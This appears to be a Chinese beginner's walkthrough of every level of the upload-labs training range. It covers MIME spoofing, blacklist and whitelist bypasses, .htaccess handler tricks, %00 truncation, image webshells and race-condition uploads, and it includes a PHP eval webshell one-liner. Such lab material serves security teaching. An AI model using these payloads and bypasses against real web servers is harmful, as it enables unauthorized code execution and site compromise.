ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

upload-labs全靶场通关教程(超全超详细!适用于零基础)

upload-labs全靶场通关教程(超全超详细!适用于零基础) Pass-01知识点前端 JS 校验漏洞防护原理仅在浏览器端通过 JS 代码校验文件后缀后端无任何校验。核心特征点击上传按钮就弹出不支持该文件类型提示绕过方法浏览器禁用 JavaScript先上传合法.jpg文件抓包修改后缀为.php。文件内容直接为一句话木马即可?phpeval($_POST[cmd]);?如果只是打靶场的话一句话木马也可用?php phpinfo(); ?代替。这里我为大家展示第2种绕过方式先上传shell.png里面写一句话木马即可然后抓包修改.png为.php成功上传并让shell.php执行指令Pass-02知识点MIME 类型校验漏洞防护原理后端仅校验 HTTP 请求头中的Content-Type字段不校验文件后缀和内容。核心特征上传.php文件被拦截上传.jpg/.png正常抓包可见Content-Type字段。绕过方法抓包修改Content-Type为image/jpeg、image/png、image/gif。绕过步骤与第一关步骤类似只需注意把Content-Type也进行一并修改即可即可上传成功复制图片链接并访问即可执行成功Pass-03后缀黑名单校验漏洞防护原理服务器列出禁止上传的脚本后缀黑名单如.php、.asp、.jsp。核心特征提示禁止上传 php 等脚本文件非黑名单后缀可上传。绕过方法方式说明特殊后缀.php3/.php4/.php5/.phtmlApache 解析大小写绕过.pHp/.PHPWindows 环境生效特殊符号.php空格、.php.末尾点、php. .空字节截断.php%00.jpgPHP 5.3.4::$DATA绕过Windows 文件流特性抓包在后缀后加::$DATA建立连接时需删除双写绕过有些服务器会将黑名单后缀删除可使用双写如.pphphp绕过本关我们利用Apache 解析的特性通过特殊后缀进行绕过抓包然后修改后缀为.phtml即可放包然后成功访问Pass-04配置文件解析漏洞防护原理黑名单过滤极严禁止所有脚本后缀.php但允许上传.htaccess/web.config—— Apache/IIS 服务器的局部配置文件。相关知识点配置文件是服务器/PHP 的行为规则文件。攻击文件上传本质就是在利用这些规则的漏洞。注.htaccess是 Apache 服务器的分布式配置文件可以放在网站任意目录下用来重写 URL、修改 MIME 类型、设置访问权限、解析规则等相当于给当前目录单独写了一份 Apache 配置。核心特征所有脚本后缀均被拦截可上传非脚本格式文件。绕过方法Apache上传.htaccess再传一句话木马先建立一个.htaccess文件内容如下SetHandler application/x-httpd-php .png这会将当前目录下所有png文件指定为 PHP 方式处理。然后先上传文件.htaccess再上传木马,木马为png格式直接上传即可Pass-05本关与第3关一样也是黑名单漏洞通过代码审计可知本关并没有进行小写转换也就是说可以通过大小写进行绕过绕过方法将后缀改成.PHP即可Pass-06同样黑名单还是通过观察源码了解到并没有去空所以我们可以通过空格进行绕过绕过方法同样先bp进行抓包然后进行留空然后放包并成功访问Pass-07黑名单漏洞观察源代码发现并没有进行删除文件名末尾的点绕过方法先bp进行抓包然后加上一点.然后放包并成功访问Pass-08同样查看源代码发现少了去除字符串所以我们可以进行::$DATA 绕过绕过方法先bp进行抓包然后添加字符串::$DATA然后进行访问并去掉字符串部分Pass-09观察源代码这里我们可以通过. .来让系统“懵逼”从而实现绕过的目的绕过方法bp进行抓包修改后缀添加字符. .Pass-10本关的特性是会将黑名单内容直接进行删除所以我们可以通过双写来进行绕过绕过方法bp进行抓包修改后缀为.pphphp上传成功并成功进行访问Pass-11后缀白名单校验漏洞防护原理仅允许指定后缀如.jpg/.png/.gif其余后缀全部拒绝。核心特征只有白名单内文件可上传脚本后缀一律拦截防护性较强。绕过方法a. %00 截断与黑名单中的%00截断原理相同。白名单只校验后缀是否为.jpg但通过%00截断使服务端实际保存为.php。例如shell.php%001.jpg前端看到.jpg通过白名单服务端截断后保存为shell.php。b. 配合文件包含漏洞执行图片马命名时使用正常图片的命名方式如shell.jpg文件内容则带有 PHP 指令然后通过文件包含漏洞来激活执行详见文件包含漏洞小节。本关则是get形式的白名单绕过:同样先上传png文件然后上传时bp拦截并修改上传路径上传成功后复制地址进行访问Pass-12不同于11关本关是 Post类型所以我们需要在包体中进行操作绕过方法bp抓包然后在包体中添加%00进行截断然后对其进行url编码成功上传后复制路径还是把php后面的部分给删掉最终成功如图所示Pass-13本关我们需要使用图片马配合文件上传这里我来教大家制作图片马这里需要大家同时准备一个正常图片和一个一句话木马的php文件然后放在同一文件夹下之后对该文件夹输入指令cmd并执行以下指令copy 11.png /b shell.php /a webshell.png这里文件名改成自己文件的名称就可以制作好后直接上传图片马即可然后复制图片路径再点击文件包含漏洞输入以下指令访问即可/include.php?fileupload/7420260807185710.png这里图片的内容换成自己的即可注制作图片马后访问失败的概率挺高的煮播这里也重做了好几次图片马所以一定要有耐心成功进行访问Pass-14和Pass-15与上述方法一致Pass-16图片二次渲染漏洞防护原理服务器对上传图片重新压缩、裁剪、生成清除插入的恶意代码。核心特征可上传图片马但打开后木马代码丢失图片被修改。绕过方法在图片非渲染区域插入代码PNG 数据块、GIF 帧间隙、EXIF 信息例如GIF89a; ?php eval($_POST[cmd]); ? 图片像素数据这里我们需要利用工具010editor可以在csdn上找一下该工具进行下载下好后还是跟着我一步步走就可以先修改图片码格式为.gif然后上传gif图片马上传成功后将其另存为另一个图片马然后用010editor打开另存的gif图片马在最后一列找个位置插入一句话木马即可然后将制作好的图片马上传并进行访问即可最后效果如图Pass-17条件竞争漏洞防护原理服务器先临时保存文件再校验不合格则删除存在时间差。核心特征文件上传成功后瞬间被删除无法正常访问。绕过方法Burp Suite 多线程并发上传同时高频访问文件路径抢在删除前执行。这里我们直接上传php文件即可然后通过bp拦截发到爆破(Intruder)模块然后在php后面加个1然后添加攻击之后看向右边模式选null payload的然后选continue就可以然后点开始攻击并同时切到关卡界面的shell.php路径下一直刷新直至出现内容即可Pass-18和前一关比较类似不过我们这里需要先对shell.php进行一下压缩压缩成.7z的形式然后上传shell.php.7z剩下的步骤跟条件竞争一样Pass-19本关绕过同样也是采用Post形式的00截断只是要注意修改的位置即可上传.php文件并抓包然后还和第12关一样对%00进行Url解码最后进行访问把php后面的部分去掉即可Pass-20同样先上传shell.php然后进行抓包然后修改成以下形式之后进行访问即可成功get shell本关难度较高且揉合了之前的东西如果是新手的话不建议进行深究
返回列表